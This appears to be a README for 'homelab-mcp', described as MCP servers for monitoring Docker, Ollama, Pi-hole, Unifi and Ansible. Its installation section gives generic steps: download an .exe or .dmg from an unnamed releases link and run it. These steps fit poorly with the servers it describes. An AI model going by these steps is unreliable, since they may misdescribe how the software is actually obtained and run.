The Model Context Protocol (MCP) servers help you manage your homelab infrastructure with ease. This application allows you to monitor Docker/Podman containers, Ollama AI models, Pi-hole DNS, Unifi networks, and Ansible inventory seamlessly. It includes security checks, templates, and automated pre-push validation to keep your setup secure and efficient. With our production-ready software, you can enhance your homelab experience without hassle.
To begin using the homelab-mcp application, follow these steps:
-
Check System Requirements:
- Operating System: Windows 10, macOS 10.15 or later, Linux (Ubuntu/CentOS)
- Minimum RAM: 4 GB
- Processor: Dual-core 1.5 GHz or faster
- Storage: At least 200 MB of free space
-
Download the Application: To get the latest version of homelab-mcp, visit this page to download. Choose the appropriate version for your operating system from the available assets.
-
Visit the Releases Page: Go to the releases section by clicking here.
-
Select Your Version: On the releases page, you will find a list of versions. Look for the most recent version. Click on the version you want to download.
-
Download the File: Choose the correct file for your system. For example, if you are on Windows, download the
.exefile; if you are on macOS, download the.dmgfile. Click on the file name to begin the download. -
Run the Installer: Once the download completes, locate the file in your downloads folder. Double-click the file to run the installer. Follow the on-screen prompts to complete the installation.
-
Launch the Application: After installation, find the homelab-mcp icon on your desktop or in your applications folder. Double-click the icon to launch the application.
-
Configure Your Settings: The first time you run the application, you'll see a configuration wizard. Enter the necessary details about your homelab environment, including any services you want to monitor.
-
Connect to Your Services: Set up integrations with Docker, Ollama, Pi-hole, and Unifi. The application will guide you through the connection process for each service.
-
Monitoring and Management: Once everything is set up, you can start monitoring your homelab. The dashboard will display vital statistics, alerts, and performance metrics for all connected services.
- Docker/Podman Monitoring: Keep track of your containers' health and status.
- Ollama AI Model Management: Easily manage and monitor your AI models.
- Pi-hole DNS Management: Check the status of your Pi-hole and DNS requests.
- Unifi Network Management: Monitor your Unifi network devices from a single interface.
- Ansible Inventory Handling: Manage your Ansible playbooks and inventories conveniently.
- Security Checks: Built-in security audits to ensure your setup remains secure.
- Automated Pre-push Validation: Automatically validate configurations before pushing to production.
For detailed usage instructions, configuration options, and advanced features, refer to the Documentation.
The homelab-mcp application is open-source and available under the MIT License. You can view the full license here.
If you have questions or need help, join our community:
- GitHub Issues for reporting bugs or suggestions.
- Discussion Forum to chat with other users.
Thank you to everyone who has contributed to this project. Your support helps improve homelab-mcp for all users.
Feel free to contribute to the project by submitting a pull request or providing feedback through GitHub.
Now you're ready to manage your homelab infrastructure with confidence. Enjoy using homelab-mcp!